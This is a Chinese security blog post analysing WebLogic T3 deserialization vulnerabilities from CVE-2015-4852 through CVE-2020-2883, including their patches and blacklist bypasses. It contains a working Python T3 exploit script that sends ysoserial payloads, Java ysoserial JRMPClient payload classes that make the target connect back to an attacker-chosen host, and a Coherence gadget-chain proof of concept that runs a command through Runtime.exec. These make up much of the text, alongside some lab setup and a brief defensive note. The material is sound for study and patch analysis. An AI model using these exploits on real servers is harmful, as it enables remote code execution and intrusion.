weblogic T3 attack&cve

一颗小胡椒2023-03-29 10:07:32

Weblogic T3 反序列化

环境搭建:https://github.com/QAX-A-Team/WeblogicEnvironment

其中libnsl库因为源的问题装不上的话,就在Dockerfile里注释掉RUN yum -y install libnsl

漏洞复现建议jdk7u21+weblogic1036

T3

T3协议时Weblogic RMI的通信协议。

关于RMI可以看我在先知社区的另一篇:https://xz.aliyun.com/t/11967

RMI的基础通信协议是JRMP,支持其他协议来优化传输,比如Weblogic T3

数据包组成

T3的数据包由【数据包长度】【T3协议头】【反序列化标志】【数据】组成

其中T3协议头是固定的,T3协议中反序列包标志为fe 01 00 00ac ed 00 05是反序列化标志,所以标志就是fe 0q 00 ac ed 00 05

直接搭配ysoserial就能打入序列化流

T3通信过程

wireshark抓个包:打poc时直接抓127.0.0.1就行

首先发一个握手请求:t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

Weblogic回应HELO:版本号.false+确认请求

后面的数据包也就是我们的payload

CVE-2015-4812漏洞复现

poc:

from os import popen
import struct # 负责大小端的转换 
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
    YSO_PATH = "ysoserial-for-woodpecker-0.5.3-all.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,'-g',gadget,'-a',cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: "+"".join(match))
    else:
        print("Not Weblogic")
        return  
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header  +desflag+  payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)
if __name__ == "__main__":
    ip = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "raw_cmd:touch /tmp/success"
    payload = generatePayload(gadget,cmd)
    T3Exploit(ip,port,payload)

更改一下ysoserialpath运行之后会显示Weblogic版本,同时在docker的/tmp/下创建success

这里ysoserial用的https://github.com/woodpecker-framework/ysoserial-for-woodpecker
  • poc分析:generatePayload函数先用CC1生成了序列化数据
  • ​ T3Exploit发送了一个t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n请求包,然后从相应包中匹配字符串HELO:0.false中间的部分,也就是weblogic的版本号。
  • ​ 然后是00000000进行占位,该位置为数据包长度,设置完POC后再来改。定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。
  • 测试运行:


漏洞分析

反序列化的入口在weblogic.rjvm.InboundMsgAbbrev#readObject()

ServerChannelInputStream()继承自ObjectInputStream,重写了resolveClass方法。

其中就毫无过滤的调用了lookup,经典的jndi

调试看一下我们打的什么类过去,在resolveClass打上断点,然后打一遍payload:

可以看到是AnnotationInvocationHandler类

CVE-2015-4852修复

在InboundMsgAbbrev#readObject()中加入了if判断,对类设了黑名单(不过可以绕)

if (className!=null && className.length()> 0 && ClassFilter.isBlackListed(className))
    throw new InvaildClassException("Unauthorized deserialization attempt",descriptor.getName());

CVE-2016-0638

复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了

黑名单列表为:

+org.apache.commons.collections.functors,
+com.sun.org.apache.xalan.internal.xsltc.trax,
+javassist,+org.codehaus.groovy.runtime.ConvertedClosure,
+org.codehaus.groovy.runtime.ConversionHandler,
+org.codehaus.groovy.runtime.MethodClosure

作用于以下几个类:

weblogic.rjvm.InboundMsgAbbrev.class的子类ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

打上了黑名单上的类,就基本上阻断了大部分反序列化链,所以只有舍弃这几个类的resolveClass了。

ObjectInputStream在进行readObject时,会调用readObject,readExternal,readResolve。只封了两个子类readObject下的resolveClass,那可以换个子类嘛,又不是直接对父类readObject设了黑名单(不直接对ObjectInputStream打补丁我不是很认可doge)

虽然 AnnotationInvocationHandler 类不在类黑名单里面,但是一些Gadget所用到的类在黑名单里面,而在AnnotationInvocationHandler 类直接通过 InboundMsgAbbrev#readObject 进行反序列化的过程中会再次调用到 ServerChannelInputStream#resolveClass 方法来处理比如 org.apache.commons.collections.map.LazyMap 类,而这个类会被黑名单检测到 ,这样一来自然就被拦截了

我们需要找到一个类符合以下条件:

  1. readObject()中创建了自己的InputStream对象
  2. readObject()不能是黑名单类中的readObject()
  3. readObject()进行了反序列化

weblogic.jms.common.StreamMessageImpl#readExternal()就符合上述条件,不在黑名单内。

源码分析

该函数里创建了InputStream,进行了反序列化。


利用方式

使var3为1,var4为恶意序列化数据,重写StreamMessageImpl#writeExternal方法。

CVE2016-3510

用到的MarshalledObject#readResolve方法:

恶意对象传到var2,也就是objBytes变量就行了

CVE-2018-2628

在InboundMsgAbbrev的子类ServerChannelInputStream重写了resolveProxtClass()

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
   String[] arr$ = interfaces;
   int len$ = interfaces.length;
   for(int i$ = 0; i$ < len$; ++i$) {
      String intf = arr$[i$];
      if(intf.equals("java.rmi.registry.Registry")) {
         throw new InvalidObjectException("Unauthorized proxy deserialization");
      }
   }
   return super.resolveProxyClass(interfaces);
}

如果是java.rmi.registry.Registry就抛出异常,否则执行父类的resolveProxyClass()

这里只限制了远程对象的java.rmi.registry.Registry接口,而且还是走代理才能进resolveProxy。

  1. 不走代理,把ysoserial的Proxy部分删掉
  2. 换一个远程对象接口,不用java.rmi.registry.Registry

具体实现看c0e3佬:https://www.cnblogs.com/nice0e3/p/14296052.html

我直接抄:

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;



public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        } else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

改接口ysoserial上自带了

CVE-2018-2893

补丁:

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

黑名单加了UnicastRef,不能建立RMI连接了,也就阻断了上面两种攻击方式。

可以学习0638的绕过方式(也是封装进StreamMessageImpl),把Gadget封装进StreamMessageImpl,不走InboundMsgAbbrev也就不会遇到黑名单

package ysoserial.payloads;


import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {

    public Object streamMessageImpl(byte[] object) {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

    public Object getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if (sep < 0) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID objID = new ObjID(new Random().nextInt());
        TCPEndpoint tcpEndpoint = new TCPEndpoint(host, port);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        return streamMessageImpl(Serializer.serialize(object));
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
        PayloadRunner.run(JRMPClient3.class, args);
    }
}

需要weblogic 部分jar的依赖

CVE-2018-3248

补丁添加了:

java.rmi.activation.*
sun.rmi.server.*
java.rmi.server.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject

封装StreamMessageImpl需要用到RemoteObjectInvocationHandler远程类。远程接口实现类还必须继承UnicastRemoteObject。另外一个RMI接口也被封掉了

进行绕过的类也就必须像RemoteObjectInvocationHandler和UnicastRemoteObject一样,继承RemoteObject。这里面随便选一个。。


CVE-2020-2555

主要源于coherence.jar存在能gadget的类。

漏洞的入口点为BadAttributeValueException.readObject()

  • 调用链:
* gadget:
 *      BadAttributeValueExpException.readObject()
 *          com.tangosol.util.filter.LimitFilter.toString()
 *              com.tangosol.util.extractor.ChainedExtractor.extract()
 *                  com.tangosol.util.extractor.ReflectionExtractor.extract()
 *                      Method.invoke()
 *                      ...
 *                      Runtime.getRuntime.exec()

漏洞分析

BadAttributeValueExpException反序列化会调用指定对象的toString()

为什么toString可以触发gadget?

跟着调用链先看到RefletionExtractor#extract(),通过传输oTarget对象,利用findMethod获取对象指定参数,使用invoke进行了方法调用

readExternal到readObject,并没有调用extract,需要找个中间商

在com.tangosol.util.extractor.ChainedExtractor#extract链式调用了参数对象的extract

ChainedExtractor本身也无法调用extract

com.tangosol.util.filter.LimitFilter#toString()对extract()进行了调用

其中m_oAnchotTop可以用setter设置属性值

又回到刚开始,BadAttributeValueExpException反序列化会调用指定对象的toString()。就构成了链

poc:

public class CVE_2020_2555 {
    public static void main(String[] args) throws Exception {

        ReflectionExtractor[] reflectionExtractors = new ReflectionExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{"null", new Class[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", "calc"}})
        };

        ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
        LimitFilter limitFilter = new LimitFilter();

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, limitFilter);

        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("weblogic_2020_2551.ser"));
            os.writeObject(badAttributeValueExpException);
            os.close();
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("weblogic_2020_2551.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}


结合T3打的话就把生成的weblogic_2020_2551.ser字节码拼到payload里

拓展

BadAttributeValueExpException在jdk7中没有toString,但是有compare(),而且ChainedExtractor是实现了Comparator接口的,什么原版CC2出现了

初始化一个正常的comparator,add后反射修改m_aExtractor

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
        ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                reflectionExtractor
        };

        ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

        PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
        queue.add("1");
        queue.add("1");

        Class clazz = ChainedExtractor.class.getSuperclass();
        Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
        m_aExtractor.setAccessible(true);
        m_aExtractor.set(chainedExtractor1, valueExtractors);

        Field f = queue.getClass().getDeclaredField("queue");
        f.setAccessible(true);
        Object[] queueArray = (Object[]) f.get(queue);
        queueArray[0] = Runtime.class;
        queueArray[1] = "1";

CVE-2020-2883

CVE-2020-2555调用链:

* gadget:
 *      BadAttributeValueExpException.readObject()
 *          com.tangosol.util.filter.LimitFilter.toString()
 *              com.tangosol.util.extractor.ChainedExtractor.extract()
 *                  com.tangosol.util.extractor.ReflectionExtractor.extract()
 *                      Method.invoke()
 *                      ...
 *                      Runtime.getRuntime.exec()

CVE-2020-2883在com.tangosol.util.filter.LimitFilter.toString() 处打上了补丁,不过依旧能用ExtractorComparator。

Gadget1:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    com.tangosol.util.comparator.ExtractorComparator.compare()
                        com.tangosol.util.extractor.ChainedExtractor.extract()
                            com.tangosol.util.extractor.ReflectionExtractor().extract()
                                Method.invoke()
                                .......
                            com.tangosol.util.extractor.ReflectionExtractor().extract()
                                Method.invoke()
                                Runtime.exec()

并且还有另外一个类:MultiExtractor

MultiExtractor#extract()如下,经典的链式调用extract()

aExtractor[i]来自this.getExtractors(),this指向AbstractCompositeExtractor类,所以修改该类的m_aExtractor指向ChainedExtractor实现调用

MultiExtractor使用的父类AbstractExtractor的compare()

Gadget2:

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    com.tangosol.util.extractor.AbstractExtractor.compare()
                      com.tangosol.util.extractor.MultiExtractor.extract()
                        com.tangosol.util.extractor.ChainedExtractor.extract()
                            com.tangosol.util.extractor.ChainedExtractor.extract()
                                com.tangosol.util.extractor.ReflectionExtractor().extract()
                                    Method.invoke()
                                    .......
                                com.tangosol.util.extractor.ReflectionExtractor().extract()
                                    Method.invoke()
                                    Runtime.exec()

EXP不贴了,移步:https://xz.aliyun.com/t/8577

  • 说点其他的,外网可以采用web代理和负载均衡对T3协议攻击进行防护。因为web代理只转发HTTP请求,不转发T3协议。负载均衡可以指定负载均衡协议类型,设置为接收HTTP请求不接受其他请求也能防护T3攻击。而且T3这种远程开发的协议就是应该开在内网,所以外网碰见能打的weblogic真是少之又少
具体的POC复制粘贴多次我不好意思,在各位大佬的ysoserial里都有


weblogicstring
本作品采用《CC 协议》,转载必须注明作者和本文链接
部分getshell漏洞汇总
2022-07-20 10:12:45
即可未授权访问console后台,但是权限比较低备注:此处会出现个问题,在复现的环境中直接拼接
魔改版内网扫描工具
2023-05-11 14:38:25
XScan使用文档前言这是一个缝合怪● go-crack ● fscan?快速上手默认扫描?./xscan -hf ip.txt -finger -vulnscan -xscan 360 -t 100. ./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -userfile user.txt -passfile pass.txt. Spy模块进入大内网以后,支持探测指定网段存活./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -m Spy. HTTP模块./Xscan-Mac -m http -addr 0.0.0.0:6666默认密码 qax qax
通过common-collection相关gadget,想办法调用org.mozilla.classfile.DefiningClassLoader这个类去加载字节码。然后通过T3协议的反序列化漏洞发送给待攻击weblogic服务器。
去年weblogic出白名单时研究了下怎么绕过,总结出了下面的思路,本想再找找有无新的攻击面的思路,但是找了几次都没找到,后来就搁置了。readMsgAbbrevs函数就会对流中的序列化数据进行反序列化,调用的是InboundMsgAbbrev类的readObject方法,并存储在栈中。这里也就是之前weblogic的漏洞会触发的readObject的地方。但是在21年4月的补丁中,Weblogic使用了白名单,只有以下七种类可以被反序列化,因此所有Weblogic原本的漏洞都无法使用。
weblogic T3 attack&cve
2023-03-29 10:07:32
定义了固定的t3header和反序列化标志头fe010000。RFC1700规定使用“大端”字节序为网络字节序,所以对生成的payload使用>大端模式打包,I表示unsigned int。CVE-2016-0638复现需要打补丁,找不到懒得打了,简单说一下绕过,不写poc了黑名单列表为:+org.apache.c
开始着手对Weblogic历史漏洞进行剖析,周末分析了Weblogic历史上的严重漏洞,一次针对CVE-2015-4852漏洞的补丁绕过。原理虽然简单,但是时间太过久远,一些关键点被历史的长河淹没。找了很多师傅们的博客文章,关于如何封装之前的利用链,大多是用的https://github.com/5up3rc/weblogic_cmd中的现有功能。打算从补丁分析、补丁绕过、利用构造三大方面开始分析
早在今年4月 Weblogic发布了安全公告,里面有一个编号是CVE-2021-2135的反序列化漏洞,因为工作原因需要构造该漏洞POC,当时拿到了安全补丁,但是奈何太菜并没有解出来。
WebLogic是由美国Oracle公司出品的一application server,准确的说就是一个基于JAVAEE而开发的一个中间件,类似Tomcat,WebLogic是一个用于开发,集成,部署与管理大型分布式Web应用,网络应用和数据库的java应用服务器。将java动态功能与java Enterprise标准的安全性引入大型网络应用的开发,集成,部署与管理之中。
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
简介WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
一颗小胡椒
暂无描述